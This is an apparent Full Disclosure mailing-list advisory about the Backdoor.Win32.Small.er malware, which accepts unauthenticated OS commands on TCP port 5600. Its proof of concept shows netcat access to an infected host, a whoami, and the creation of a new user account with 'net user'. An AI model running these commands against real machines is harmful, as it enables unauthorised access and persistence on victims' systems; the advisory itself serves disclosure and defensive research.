full-disclosure - [FD] Backdoor.Win32.Small.er / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WRJDJj6bgAvxzHeVxaTm6jwbSHrsSjX7+Eh3v8JV-ZQig@mail.gmail.com>
Date: Sat, 5 Feb 2022 00:12:34 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Small.er / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/9f11868c3beaa8e2c1f5c193f5888b85.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Small.er
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5600. Third-party attackers
who can reach infected systems can run any OS commands.
Type: PE32
MD5: 9f11868c3beaa8e2c1f5c193f5888b85
Vuln ID: MVID-2022-0480
Disclosure: 02/05/2022

Exploit/PoC:
Note: hit enter twice for each command.

nc64.exe x.x.x.x 5600

C:\dump>

C:\dump>
cd \Windows
C:\dump>cd \Windows

C:\Windows>
C:\Windows>whoami
whoami

desktop-2c3jqho\victim

C:\Windows>

C:\Windows>
net user hyp3rlinx 666 /add
C:\Windows>net user hyp3rlinx 666 /add

The command completed successfully.

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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